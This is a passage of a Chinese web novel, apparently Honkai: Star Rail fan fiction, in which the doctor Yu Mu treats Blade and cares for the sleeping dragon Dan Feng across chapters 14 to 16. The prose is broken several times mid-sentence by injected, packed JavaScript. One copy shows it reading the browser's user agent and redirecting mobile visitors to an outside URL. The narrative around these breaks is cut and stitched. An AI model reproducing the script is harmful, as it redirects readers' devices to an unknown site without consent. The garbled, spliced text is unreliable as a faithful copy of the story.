刃像是解除了什么开关,块垒分明的胸膛剧烈起伏,他急切地呼吸,空洞的双眸亮起一点光来,紧接着,几声滞涩苦痛的喘息后,他突然笑了起来。 他肩膀抖动,笑得令人汗毛倒竖。 郁沐见状,立刻伸手,罩住了刃的眼睛。 刃的笑声戛然而止。 “我不喜欢太开朗的病人。”郁沐认真道。 刃的喉结上下一滑,唇线平直,神情看上去相当冷冽,过了一分钟,他握住郁沐的手,从自己眼睛上拽了下来。 握紧郁沐的那双手手很凉,因为病理性因素,有些许颤抖。 郁沐好心地给他取了个暖手袋抱着。 “我遇见了一个男人,他身上有孽物的味道。”待刃稳定下来,他开口道,只是声线不太平和,听起来怪吓人的。 “药王秘传?” 刃摇了摇头,否定郁沐的推断,掷地沉声:“是倏忽。” “所以你就和对方打了一架,把自己伤成这样,还堕入了魔阴身。”郁沐纠正他:“而且倏忽已经被腾骁将军杀死了,就关在幽囚狱底下。” “我没记错。”刃蹙眉。 “魔阴身患者口中的实情大多不可信,你身上这些证据,也没那么有说服力。”郁沐点了点刃身上的伤口:“虽然这些伤口很古怪,但你还活着。” “因为丰饶杀不死孽物,这具躯体也不是能被轻易斩杀的,我所寻求的死亡只有,只有他能带给我……饮月君……” 刃发出癫狂的喘息,他喉间溢出间歇的笑声,不断重复着:“死亡何时而至,饮月君……” 郁沐飞快伸手捂住了对方的嘴,“不许复读。” 别把隔壁浴缸里的家伙叫醒,最重要的是,别真死在他家里了。 刃的声音消失了,他眼中的阴戾逐渐退去,这次,过了好几分钟,他才以动作向郁沐示意自己没事。 得知了伤势来源,郁沐心里的猜测有了落实,便重新拿起剪刀,沿着刃手肘的袖口缝线剪开,刀尖触到了一个硬块。 他揭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郁沐按住了刃的胸口,那盘踞在伤口上的金线像是感应到了什么,瞬间活跃地绞上郁沐的手指,还没等发起攻击,就被郁沐掐住。 咔嚓。 他面无表情,攥拳,不费吹灰之力地碾碎了掌中金线。 缭绕在伤口上的金色光芒霎时消失得无影无踪,被丰饶赐福的血肉翻卷,以肉眼可见的速度愈合,没过一分钟,刃胸前的伤口就只剩下一层薄薄的血痂。 有一句话刃说的不对。 丰饶是能杀死被丰饶赐福的孽物的。 至少郁沐能。 郁沐捻了捻指尖,分辨出了残留的味道——刃的判断没错,是倏忽无疑。 再精确点说,是千分之一的倏忽血肉,加一点点别的东西。 一点点,不该出现在仙舟上的东西。 果然,麻烦事就像家里的蟑螂,只要发现一个,其余就会接连不断的出现。 “好了。”郁沐拍了拍刃的肩膀。 明明只是闭了一小会眼,刃看起来却目光空茫,仿佛刚刚睡醒,道: “我记起前段时间,我在追查一伙药王秘传,见到了你。” 郁沐:“记起来是好事,就是注意措辞,不要说的好像我是药王秘传一样。” 刃言辞反复:“不是,只是意外遇见你。” “是么,记得不要在公众场合和我打招呼。”郁沐眼皮子一跳,正色道:“我们的医患关系只限于这间屋子,从这里出去,不许自称我的病人。” 刃陷在自己的世界里,并未对郁沐的警告作出回应,他努力回忆了一会:“那天是晚上,我……但我遇到了镜流。” 这个剧情,有点耳熟,好像听过。 郁沐思索起来。 “后来,景元来了,我就走了。”这句话,刃说得相当笃定。 郁沐:“……” 他知道这个剧情为什么这么耳熟了。 这不就是他平白无故被镜流揍的那天吗! 14.第14章 “原来是你把景元引过来的。”郁沐的怨念化为实质,在刃头顶盘旋。 那天晚上景元能那么快赶来,郁沐只当是深夜还在伏案工作的将军在神策府离得近,现在看来,罪魁祸首另有其人。 刃:“怎么了?” 郁沐心里苦涩:“没什么。” 他总不能说自己被迫挨了镜流一剑,又被景元摆了一道,到现在才刚研究出特效阵痛散的配方把谎圆上吧。 气氛一时静默,受限于魔阴身,刃在不犯病的时候通常沉默寡言,郁沐给对方进行了简短的检查,宣告今日看诊结束。 由于刃的衣服碎了,光天化日又不好让对方赤着上身出去,郁沐左思右想,给对方拿了一件自己没拆封的制服。 “三百巡镝,下次连医药费一起结清。” 刃点头,拆开,套上,胸前的扣子绷掉了一颗,飞了好远。 扣子撞在门板上,滚了一圈,落在了郁沐脚边。 郁沐:“……” 感觉有被冒犯到。 刃木讷地环顾一圈,视线落在某个方向,郁沐循着看去,发现是摆在矮柜上的木质龙尊雕像。 回家后,他给雕像涂上了一层彩漆,色泽清透,栩栩如生。 刃的脊背倏然僵直。 郁沐捡起纽扣,敛起目光中的情绪。 刃的呼吸变重了几分,握着支离的手一紧,仿佛情不自禁地追寻什么,向前缓步,却被郁沐叫住。 “门在那边。” 医生的声音冷冽、平静,堪比梵音。 “……” 刃闭上眼睛,压住心底即将从茫茫雾霭中浮现出的情绪,过了很久,他才朝门的方向走去。 一步,两步,即将触碰门板的刹那,里屋突然传来一道翻腾的水声。 刃瞬间转身,手按在了支离的剑柄上,却一个重重的力道压下,手背被温凉的掌心盖住。 一双浅褐色的瞳孔映入视野,澄明如镜,刃能看清那眼中倒映着的、草木皆兵的自己。 因为离得近,对方身上药物的苦涩味道丝缕飘来,隔绝了刃的感官。 “只是家里养的鲤鱼在甩尾巴,不要紧张。”郁沐说。 刃的视线从郁沐脸上挪开,投向远处那扇高大的门板。 他未曾放松片刻。 感受着掌心下不断变强的反抗力道,郁沐垂下视线,出声安抚:“这里没有危险,来时你也确认过吧?” 刃的脸上闪过刹那迷茫,他似乎在犹豫,几个呼吸之后,没能再听见声音,他松开了支离。 “我相信你。”刃说。 “那真是感激不尽。” 郁沐打开门,将刃推出去,倚在门框上,笑着朝对方摆手。 “如果下次生病了记得还来找我,只是不要走房顶,修理费很贵的。” 刃适应了一下手上缠的绷带和身上明显小几码以至于很勒人的制服,点了点头,脚步自动牵引他走出门去。 大门合上的刹那,他的头突然痛了起来,一些记忆的片段涌现,令他困惑迷茫。 —— 自己应该是死了,刃想。 他只能见一片殷红,嘴里腥甜,四肢绵软,战场中漂浮着灰烬燃烧后的气味,如此咸涩,刺鼻。意识迷茫,思维断裂,身体重新拼接的细微声响却震耳欲聋。 体内的怪物生出无尽的血肉,填补这具空洞躯壳,无论几度,他还是无法死去。 有什么东西在靠近,步伐并不轻盈,但坚定,有力,声音越来越近,到最后,一道影子投了下来,覆盖住他的眼皮。 世界骤然昏暗。 那东西身上有一种气味,独特又罕见、宛如滴着露水的新枝开蕊时的味道,刃从来没在此处闻到过。 那东西跪了下来,刃知道。 手掌先触碰到一截柔软的绢布,丝滑如水,大概是衣摆,用独特的细线绣着纹路。而后,膝盖抵着他的侧腰,那东西在地上放下了什么,发出咚的一声响。 一根手指探到刃的鼻尖,悬停了三四秒。 那种奇异的味道更浓郁了。 “已经没有呼吸了。” 那东西说话了,是人。 那人的声音听上去相当年轻,声线平直、冷淡,个别字的语调听起来有些奇怪,就像是没怎么说过话。 血肉被填满,刃感受到躯干在连接,愈合的进度似乎并不遵循生物生长的逻辑。 在说完话后,那人将手收了回去。 正当刃以为对方要离开时,那人再度伸手,解开了他的外套,一下一下摸索起来。 先是颈侧,心脏,然后肋骨、腹部、大腿,像是在确认什么。 最后,他捏住了刃的手。 “可惜。” 简短的两个字,不夹杂任何情绪,只是阐述事实,冷酷到无以复加。 他放开了刃的手,跪坐在原地,缄默地垂下视线。 不知怎的,自从对方来到他身边,世界的一切都沉寂了。 刃能清晰地闻到味道,感知身体愈合的每一丝细节,而剑刃反复刺穿身体的声音消失殆尽,支离落在远处,那猩红的、含着霜意的眼睛也不再投望过来,一切都无比平静。 可隐隐的,刃感知到,这死寂不对劲。 仿佛此处有庞然大物潜藏阴影,镇压了一切不怀好意的觊觎和试探。 可逐渐,凝聚在他身上的视线变得沉重、压迫,令人窒息。 他试图抬起手,却无能为力。 漫长的、仿佛永远到不了尽头的寂静后,那人突然开口。 “想得救吗?” 得救。 怎么才算得救呢? 刃不明白对方问话的含义,也不觉得对方此刻言语中的情绪值得信赖,最浅显的,他甚至无法得知自己是死了,还是活着。 他未作出回应,对方却像是理解了。 “我知道了。” 那人说着,站了起来。 那一刻,刃知道,自己的眼睛能够睁开了。 被剥夺的控制权回归己身,□□循着牵引,比意识更快行动。 他睁开眼,伸手,紧紧抓住了离去那人的脚踝。 入手的触感不似人类的皮肤,有些粗糙,如同某种植物的叶片,未能被布料阻隔。 向上看的瞬间,他对上了那人的眼睛。 那是一双璀璨的、与人类迥异的金眸。 金眸的无机质感过于强烈,被全然的审视和淡漠充满,它们垂下时,仿若俯瞰着一只蝼蚁。 那不是人——这是刃的第一反应。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“正好,帮忙扔了,记得分类,厨余那一栏。”郁沐往前一递,待刃接过,拍了拍对方的肩膀,“去吧。” “厨余……”刃重复了一遍,似乎在思考。 完蛋了,刃居然在分析! 郁沐心里一紧,表情先是变得空白,闪过一丝为难,他扒在门上的手指略微用力,不经意间抠着门边缘裂开的涂漆,沉默地视线乱飞,最后,他决定先不说话。 刃可以不吃饭,但小青龙不能,多加一双筷子,那就是多一张嘴,多一份支出。 他的钱包已经不容许他慷慨了。 最重要的是,这俩人现在可不是能在一张桌子上吃饭的关系。 他家房子挺贵的,打烂了就没钱再置办一个了。 以刃在他身边的表现来看,除了有很尖锐的、能触及到他内心的东西出现,大多时候,刃还是很好安抚的,只要糊弄过去…… 郁沐自我安抚,可惜这次,刃没有如他愿。 刃提了提手里的垃圾,笃定道:“你做饭了。” 郁沐的额头渗出了一点点细汗。 刃露在外面的、那只烛焰般的眼睛望向郁沐,视线如此沉重,“你……” 他话音未落,下一秒,郁沐狠狠甩上门,夹杂在巨大拍门声里的,还有他悠长的告别。 “再见!” 被关在门外的刃:“……” 或许,他们的关系还没好到能在一张桌子上吃饭,刃想。 他并没有失落,真的。 15.第15章 丹枫不知道自己在哪。 万物被灰白雾气侵夺,自斑驳地平线抬起的视线迷茫四寻,毫无落点,龙吟鼓动,迫切又艰难。 身体的感知比任何时候都要模糊,它似乎细长,却被镣铐紧束,蜿蜒曲折。细嫩的枝条嵌入鳞片之间的缝隙,在水波的荡漾中不断摩擦。 很奇怪的感觉,并不疼痛,却充斥着无处不在、难以摆脱的不适。 丹枫头痛欲裂,身体传来的触感如此鲜明,记忆零散,洪流滚滚,他再次回到那片尘霾遍布的土地。 一团巨大的、肉芽横生的庞大根系在卷曲扭动,它一如曾经般鲜活可怖,自天际垂落的雷霆也未能将它彻底斫断。 强烈的怒意自胸膛涌出,填满千疮百孔的灵魂,丹枫挣扎着想要爬起,他的手臂变为龙爪,残破的皮肤裂开,血一滴滴落下。 他不可遏制地向前挪动,试图阻止倏忽的离去,只可惜,他做不到。 从始至终,他只能看着。 倏忽越走越远,那样庞大的根系在地面蠕动,步履却越来越快,它像个大获全胜的得意之徒,根须向上摇动,嫩芽萌发,癫狂地向天际伸展。 可恶! 丹枫低下头去,脊背在隐隐颤动,他匍匐在地上,失去知觉的龙躯流出血来。 就这么放它离开吗,还有没有人能阻止,还有谁活着…… 腾骁将军,镜流,景元,应星,白珩…… 白珩。 想到这个名字时,丹枫脑中闪过了那艘自天坠落、如同燃火弓矢的星槎。 还要再来几次。 丹枫疲惫又愤怒地阖上了眼,再度失去战友的苦痛已经生长在这具躯体中,无时无刻不在消磨这颗坚韧的心。 战场盘旋着一股灰白色的烟雾,腐朽的味道混合在风吹起的地表浮尘中。沙砾剥夺了丹枫的视线,他低低地咳了一声,忽然听见了一声诡异的响动。 就在远处。 他猛然挥散面前的雾霭,向前看去,只见那团疾行的根系突然停住了步伐。 肉瘤畸变的丰饶巨物生出面庞,它们或扭曲,或殷勤,或愤怒,或畏惧,情绪百状,朝同一个方向伸展而去,像是在与什么东西沟通。 倏忽在做什么? 丹枫挺起上半身,过往与丰饶民对抗的经验在向他示警,催促他尽快行动。 拼尽全力,丹枫用手臂支在地面上,折断的龙骨碎片因力道的倾斜卡进筋脉中,他咬紧牙关,泄出了一声急促的喘息。 血洇了一团。 就在这时,一股前所未有的、摄人心魄的丰饶气息从远处爆开,一道道金黄色的虚幻枝条自斑驳的土壤里生发,潜藏着的威压令丹枫的血脉应激似地奔涌起来。 那是远在倏忽之上的、仅此于「丰饶」药师的力量,流淌着极端纯粹的生命力,不朽地丰育着整片土地,浑厚深沉,却又令丹枫感到无比熟悉,仿佛已经在无边岁月中回望数度。 刹那间,巨大的倏忽根系在这力量中被侵吞,一道璀璨如烈阳的金光盛放,包裹住了对方。 丹枫从未听过那样歇斯底里、疯狂绝望的尖叫。 不成人言的音浪向外冲击,一波波荡起尘埃,地表龟裂,空气震动。然而,在这抵死反抗中,那团金光岿然不动。 几秒后,金光开始变换。 丹枫的瞳孔微微震动,他难以置信地看着眼前一幕。 被吞噬的巨大根系残骸像是被融化的冰雪,起先奋力挣动,尖锐的枝干向四方伸展,却无法突破金光的包围。不多时,那金光逐渐向内收束,开始咀嚼。 是的,咀嚼。 一阵恶寒爬上丹枫的脊背,随仙舟征战数载,他从未见过如此景象。 金光像一个巨口,干净利落地咬断枝干,吸收茎叶,吞吃叫喊,它越收越小,最后,融合成了一道光点。 倏忽的气息彻底消失了,世界归于沉寂。 ——结束了吗。 当丹枫冒出这个念头的时候,他看见光点中,伸出了一截柔软的黄金叶。 那是一片末梢纤细、微微摇晃的嫩枝,形状饱满的银杏叶自枝干处生长,滴着露水的清香。 紧接着,金光凝聚成了一个人形。 丹枫笃定,那不是人,而是孽物。 只有孽物,才会从一位丰饶令使的血肉中生长出来。 濒死感袭来,压倒了一切困惑不解,求生的本能令他伸手,顾不得骨片扎进鳞下的疼痛,试图召出击云,却忽然掌心一痛。 丹枫一怔,再回过神时,他已经被绑住了。 染血的利爪被新生的金黄枝叶缠绕,绞紧,无法收拢,不知从何而来的枝条自地面拔出,如同刑具,将他死死勒在地上。 丹枫喉咙里挤出一声痛楚的龙吟,一片银杏叶从侧面伸来,攀上他的脸颊,找寻什么一般,延伸到了他的唇畔。 咔嚓。 持明的牙尖研磨,带着难以消融的恨意,将那枚叶片狠狠咬成两段。 清新但苦涩的汁沾上唇舌,化为金色的水液,从唇角流了出来。 被悲惨分尸的银杏叶落到地上,半死不活地卷曲起来,融化进了泥土里, 那一瞬间,丹枫徒然感觉自己被一道来自远处的视线锁定了,无与伦比的压迫感和被凝视的刺痛令他浑身像是烧了起来。紧接着,有东西在向他靠近。 他抬头望去,试图看清对方,但不知为何,他被剥夺了视野。 目力可及的一切变成一团灰影,浮浮沉沉,水浪的声音一下高过一下,木门碰撞,有一双手触碰到了他的身体,他怒不可遏,使尽浑身力气拍了过去。 —— 啪。 郁沐被怀里的饮月用尾巴结结实实地扇了一巴掌。 他抱着因做噩梦而不断翻腾、弹动、试图挣脱的龙,盯着对方身上虚虚搭着的金色枝叶,沉默片刻,腾出手来,揉了揉自己肿起来的脸颊。 不愧是尾部肌肉一等一发达的持明,力道十足,差点把他的颈椎抽断。 “好疼。”郁沐颇有怨念地碎碎念,“明明已经很轻了,为什么还是不满意。” 他这么说着,听从心意生出的枝条们纷纷摇曳起来,它们不舍地从持明身上松开,有的偷偷将嫩叶从鳞片底下收回,将长长的、碧玉般的龙躯坦露在郁沐面前。 为了不被刃发现,郁沐不得已在对方发出声响后远程绑住了饮月,并仔细着控制好了力道,没再发生勒疼对方或者二次伤害的事故,可似乎,对方仍有所不满。 应该不疼才对,他想,或许饮月比他预估的更娇气一些。 按住像条绿色小滑泥鳅一样摆来摆去的饮月,郁沐伸出一条粗壮的枝条勾来毛巾,用胳膊夹住尾巴,仔仔细细擦干,出门,抱回了卧室。 在历时半小时的清扫后,光洁一新的卧室迎来第二位客人。 注视着因不安而盘起的饮月,郁沐对它现在的状态十分费解。 按理说,龙相形态的饮月已经逐渐脱离了龙狂的影响,先前意外摄入的叶片汁液也代谢干净,一个系统时前还好好的,没道理病情反复。 难道是浴缸里放的助浴球过期了? 郁沐神色一凛,疾步折返,心里暗骂化外奸商害龙不浅,拉开门,走到浴缸旁定睛一看,捞出了池子里飘着的几片嫩叶。 一指长的银杏叶柔软,卷曲,边缘残留参差不齐的咬痕,以及被齿面研磨后的坑洼凹陷,叶脉断裂,金黄的汁液已经干涸,清晰地反映出先前自己遭受过的对待。 他视线下移,一一数过去。 水面漂浮着五片叶子,意味着饮月咬了最少五次,上次饮月吮了一片就很成问题了,现在五片…… 郁沐天塌了,他飞速推开门,几乎瞬间就挪到了卧室前,焦急开口,没等喊出声,就五雷轰顶般定在了原地。 灰褐色的瞳孔因过分激动褪去了伪装,一抹金色随着心绪荡漾,如同晕染开的颜料,慢慢爬上了浅淡的眼珠。 他的被窝里,长出了一个人。 第一眼,郁沐瞥到了对方比被子还白的颈项,锁骨深刻的线条向下延伸,逐渐变得平坦。 郁沐扒着门框的手指用力,咔一下,凿穿了一整块门板。 他赶紧收手,抿了抿唇,移开目光。 做好心理建设,郁沐强迫自己得体,第二眼看见的是对方头顶挺立的龙角,整体剔透如青玉,顶在蓬松的枕头中央,看起来圆润又坚硬。 果然,天然的龙角就是比龙师们后天培育的要好看。 郁沐思索着,不多时,又否定了自己的判断。 不,丹枫的龙角是最好看的。 在他走神期间,被子里发出了一点难耐的短促低吟,惹得郁沐又看过去。 闭目之人眼尾那抹飞扬的红在灼烧,郁沐情不自禁地回忆那双眼睛睁开时,投来的淡泊又倨傲的目光。 他向前一步,脚步很轻,像是怕惊扰什么,不由自主地迈步,脚尖突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870458|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被挡住了。 低头一看,是一截龙尾。 比平时更为粗壮的龙尾从被子里延伸出来,不安地搁在地板上,挡住郁沐的去路。 饱满亮润的鳞片整齐排布,堪比翠玉,削薄细密。 郁沐脑子里跳出两个不雅的字。 想摸。 可能是因为被碰到,又或者是赤着上身所以寒冷,被子里人蹙起眉,肩膀一缩,那张清冷的脸上多了一丝淡淡的不适。 郁沐屏息,跨过龙尾,不远不近地跪在丹枫旁边,左右思量,视线乱飘,最终诚恳地垂下眼帘,凭着记忆,把丹枫盖到腰间的被子往上遮了遮。 盖住白如银雪的胸膛,郁沐重重舒了口气,肩膀一轻,整个人松弛下来。 柔软的黑发顺滑,弯曲散落着,如同漆瀑,在郁沐的掌根处蹭了一下。 果然洗干净了,头发的触感都比在幽囚狱时候舒适很多,郁沐手指捞起丹枫的头发,悄悄地摩挲了两把。 手感真好。 再摸一下。 手感真真好,再…… 咳,不能再摸了,不能趁人,龙之危。 做医生的,怎么能对病人产生不正当的感情呢,这是行业大忌,是医德有失,是枉为仙舟人。 郁沐表情严肃地告诫自己,手上卷着对方的发梢绕了一圈,恋恋不舍地搓捻。 实际上,他一直有个问题想问: 持明龙尊的尾巴连接的究竟是脊椎或者尾椎上的哪块骨头,又是怎样的生物构造,勾缠时的力度如何,比起四肢,在控制上有没有独道的要领。 好比狸奴和尾巴是两个生物,郁沐和他的银杏叶也同样无法共用一个脑子,他实在需要人授业解惑。 但眼下,龙尊无法解答他的困惑。 丹枫似乎做了噩梦,没过一会,额头便渗出了细密的汗。 他嗓子里溢出不安的呼吸,轻而急促,随着吸气,颈侧的青筋浮起,在皮肤下显出轮廓。 郁沐垂眼,隐在阴影里的视线无比专注。 他曾将自己珍藏的所有记忆反复阅读、揣摩,确信任何一帧片段都不如此时这么近。 光线明亮,气氛安静,没有闲杂人等打扰,没有云水阻隔,他可以看清丹枫脸上的每一丝痕迹。 丹枫的神情总是淡漠,眉目的线条和轮廓透着点疏离,或许是本人性格所致,唇形好看,但唇瓣削薄,抿得很紧,哪怕在睡梦中也不肯放松丝毫。 他很少有安宁沉睡的时刻。 万载日夜受旧业负累,为责任所扰,唯有与同袍把酒时堪获一点慰藉,而最后,这丁点慰藉也化为乌有,徒作杯影。 如果丹枫能在此刻醒来就好了,郁沐想。 他想看到对方的眼睛,重新品味那幽青双眸里的冷傲和复杂,但此刻的丹枫只能弄乱他的床铺,发出或深或浅的呼吸。 对方依旧未能真正醒来。 或许不日便会,只要再耐心等待一段时间。 好在,郁沐从不畏惧等待。 郁沐伸出手,灯下,手掌的阴影幽暗,投在丹枫的脸上,龙角的光泽在暗处更为明亮,对方似乎感知到了什么,但无法躲闪。 他轻轻的、温柔地,撩起了绸缎般的黑发,按在了丹枫的后颈上。 他有一件事想要确定。 入手的颈后皮肤很光滑,没有半分伤疤,突起的颈骨存在感极强,硌着指腹,令他的手指微微分开,复而并拢,确认骨骼的位置没有问题。 他沉默地、合乎礼仪地检视着对方的颈项,一点点,沿着脊骨的触感向下。 龙尾在地板上摩擦,丹枫的眉头锁得更紧了。 半天后,郁沐收回手,稍微安心了点。 景元将丹枫收押在幽囚狱的决定非常明智,想把手伸进十王司的地盘又不被发现,仅靠龙师是做不到的,即便有背后黑手推波助澜,也难以在丹枫身上取得什么有效的成果。 如此一来,郁沐就更没必要掺和进仙舟人的家事中了。 药王秘传渴求慈怀药王的失传灵药,持明为延续族裔的化龙妙法不惜铤而走险,仙舟唯恐建木残骸再度生发,世人各有立场。 但眼下,管他什么龙师长角、持明失髓、倏忽血肉、大变魔阴,哪怕这艘仙舟立刻倾覆,也跟郁沐全无关系。 现在的他,只想知道被窝里的人还能不能起来吃他蒸的鱼。 他锅里可还炖着那么大一盆名贵水产啊,教他一个人怎么吃得完! 16.第16章 去鳞去骨的翔鲟鱼煨在锅中,饱满酱汁将雪白的鱼肉染成可口的颜色。 郁沐揭开锅罩,放入事先切碎的辅料,等待片刻,用小勺舀了一口汤汁,尝了尝。 味道刚好! 他手艺可真棒。 将肥美的鱼肉切成薄片,垒进方形瓷盘,倒一盅持明喜欢的水料,一道刺身新鲜出炉。 白灼海虾被仔细地去掉了虾头和虾线,肉质弹嫩,有一种特殊的甜味。 空心石笋圈外裹了一层酥脆的面粉,过油一炸,比下锅时蓬松了两倍,像一个个雪白的绒团,挤在碗里,相当热闹。 盛一碗青丘米饭,将鱼摆盘,挖圆圆一勺糖冻布丁,准备好午饭,郁沐端起托盘,走回卧室。 郁沐从未觉得从厨房到卧室的路有如今这般漫长,每一步都急切得不得了,脚踏在木地板上的回声沉闷,鼻端飘着食物的香气,从走廊的木窗往外看,能见流云一角。 一切都轻快得要飘起来。 终于到了卧室门口,他放下托盘,轻手轻脚地拉开滑门。 丹枫的尾巴果然卡在滑门的轨道上,不安分地、随着小幅度的呼吸摆动。 郁沐托起对方的尾巴,慢慢挪走…… 确保滑门不会夹到对方,他拿起托盘,跨步进了卧室。 丹枫还在睡。 他睡姿并不如素日表现出来的那般优雅自持,在郁沐离开的这十几分钟内,他身上的被子就已经从脖子褪到了胸前,姿势也由平躺转为侧躺,略微低头,看起来睡得不大安稳。 郁沐静静地坐在地板上,对着满盘飘着热气的美食发呆,间或瞥丹枫一眼,又苦恼地收回视线。 他咬着筷子望天:现在把刃叫回来吃饭还来得及吗? 他又看着刚收拾完一遍的卧室:…… 算了。 郁沐夹起一片生翔鲟鱼片,肥美的鱼肉散发着深海鱼的清香,他自然地递到了丹枫唇边,等待。 等待…… 丹枫眼睛还是闭得紧紧的。 “我在想什么。”郁沐失望地收回筷子,咬住鱼片:“丹枫又不是狸奴。” 景元养的那只狸奴,哪怕睡得四脚朝天,只要景元在它嘴边放上一点蜜汁肉条,它能闭着眼睛狂奔十里地追过去。 如果家里的持明也有这个本领就好了。 他百无聊赖地嚼鱼片,眼睛一亮,嚼嚼的动作加快。 没过一会,他就发现面前盘子里的食物就减去大半。 “你真的不起来吃吗?”郁沐看向丹枫。 丹枫还睡着。 郁沐:嘿! 他风卷残云般,将盘子打扫得一干二净,最后端起布丁,小口小口地抿。 抿着抿着,忽然浑身一僵。 反馈神经向他传递了一种不同寻常的温凉触感。 背后,丹枫传出了一点气声。 郁沐抱着布丁碗,僵硬地回头看,发现一段新生的枝条不知何时从他背后探出,末端伸进了被子里面,鬼鬼祟祟,小心翼翼,一动不动,努力装死。 郁沐闪电般伸手,照着枝条根部狠狠掐过去,谁知对方特别灵活,一下子扭开了。 枝条断裂,嗖一下缩进被子里,不见了。 “喂!”郁沐气急败坏地扑过去,抓了个空。 “滚出来。” 被子里没有任何回应。 “现在,立刻,从丹枫身上下来。”郁沐严肃警告。 威胁石沉大海。 郁沐深吸一口气,对着龙尊漂亮的脸虔诚认罪,而后顺着被角摸进去。 他像一条在深暗洞窟中迷茫乱撞的蛇,手指几度蜷曲,总算摸到了音讯全无的枝叶。 那东西窝在丹枫怀里,都被捂得微微发暖了。 他小心翼翼地抽出来,将要成功之际,忽然被抓住了手腕。 龙尊的手指坚如烙铁。 睡梦中的丹枫依旧很有脾气,许是实在无法忍耐总有不速之客作乱,他一收力,直接把郁沐往前一拽。 撑着身体的左手崴了一下,郁沐一头栽进被子里,脸朝地。 “唔。” 郁沐的声音被掐死了,如同一只乖巧的玩偶,静静埋在丹枫身上。 因为被子过于松软,且不算厚,他能闻到丹枫身上特有的云吟水意,比波月古海的海风更淡薄,沁着冷肃的味道。 他感受到了丹枫尾巴盘曲的弧度,隐约知晓了那样长的龙躯是如何绕过腰部、避开大腿、在被褥中蟠折,最终伸到地板上的。 还有对方手臂的骨骼,胸腹的形状,还有…… 一秒,两秒,三秒。 噗,噗噗,噗噗噗。 郁沐身上争先恐后冒出好多银杏叶,像是膨胀到极点被迫掀盖的爆米花机,正欢欣地卷曲着。 “药王,救救……”郁沐虚弱地呢喃。 星海深处,药师抬起头顶荣枝,慈悲之目低垂,循声瞥去。 祂似要点垂化释,只是朝露滴下的瞬间,祂动作停住了。 药师悲悯的脸上闪过一丝空白。 药师:? 祂的建木为什么缠在「不朽」的龙裔身上? “救救——”迟迟没等到压制的郁沐觉得自己要生发了。 药师手指悬停,祂无私的目光缓缓撤回,仿佛不够般,又别过了脸。 “爹——”郁沐颤巍巍地抬起手。 不是你想的那样! 然而,还没等他狡辩,药师就马不停蹄地离开了。 爱子之心是有的,但不多。 “帝弓他老人家还没来呢,别急着走先……” 郁沐已经无力挣扎了。 因为龙尊的尾巴卷住了他的叶片。 郁沐嗷呜一声,彻底躺了。 —— 同一时间,波月古海水底,鳞渊境深处,护珠人小队。 正例行观测建木玄根的海月小队基地,收到了水下队员们此起彼伏的惊恐尖叫。 “这里是东北方,建木12号、19号、37号枝桠突发异常,生长超12寸!” “报告,南方13号,64号,9号枝桠生长16寸!” “队长,西方枝桠丛生长9寸,状态异常,请尽快上报!” “……” “队长,建木突然开花了!祂开花了!!!” “冷静,冷静!立刻通报龙师!快!” 岸上,负责记录观测数据的护珠人听着水底同族传来的消息,均面如死灰。 海月小队的队长悲伤地望着寂静的鳞渊境,忍不住呢喃。 “如果龙尊还在,建木又怎会生发。” “一定是报应,我持明族的报应就要来了……” “……” —— 持明族的报应来没来尚且未知,但郁沐的报应一定是来了。 他望着从胸前裂缝中探出的、那团如青绿云火的小花,又看了看压在那柔弱小花上的、属于持明的胳膊,左右为难。 现在的问题是,怎么把自己的小花抢救回来。 他不经意地咬着指甲,仰头,透过卧室的木窗看向外界。 夜色漆黑。 是的,他就这么从午后躺到了深夜。 不是他惫懒懈怠,也不是他赖着不走,谁叫丹枫一整个下午都没换过姿势,不肯放开他的小花呢? 虽然就这么摘掉也无妨,但那毕竟是一朵小花。 郁沐已经不知道有几千载没开过花了。 月色如水,波光粼粼,顺着窗框斜打进来,清清浅浅地落在丹枫脸上。 郁沐再次凝望丹枫的脸,找了个仰视的角度,舒服地枕着自己的胳膊,呼吸放到最轻。 他真好看,郁沐想。 被月光照到的地方好看,隐匿在阴影里的也好看,手指,锁骨,嘴唇,无一不好看。 唯一的坏处就是睡不醒。 真是一条睡美龙。 看着看着,郁沐有点困了。 体内蠢蠢欲动的丰饶被压回去,他打了个呵欠,就近躺在丹枫身边,想起了一件事。 “一周前,我被镜流伤了一剑,被景元诓骗,多做了一点科研,今天刃挂急诊,还有地下室那位……林林总总,友情价再打个折,算你欠我四张摸摸券,你同意吗?” 郁沐念叨着,征求丹枫的意见。“不同意就说话。” 丹枫覆雪般的眉眼没有丝毫变化。 “好的,你同意了。”郁沐点头,树枝帮他递来纸张,他折叠几下,撕开,手指一抹,显出字来。 是字迹大气飞扬的「摸摸券」。 “我要使用第一张摸摸券了。”郁沐将券递给丹枫,然而丹枫不接,他思索片刻,将摸摸券卡在对方锁骨窝上。 位置刚好。 他小心翼翼地摸了摸丹枫的脸,用手指度量对方眉峰和山根的弧度,完后,恋恋不舍地收回手。 “第二张。”他宝贝地放在丹枫身上,随后,试探地揉了揉丹枫的耳尖。 持明族的耳朵为什么是尖尖的? 郁沐不懂。 但尖尖的,手感很好,他喜欢。 郁沐:捏捏捏—— 被按得不舒服,丹枫躲避般偏头,发梢落在郁沐掌心。 顺水推舟,郁沐立即潇洒地甩出一张摸摸券,心满意足地把丹枫的长发拢在手里,贴在脸颊上,蹭蹭。 如果每天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 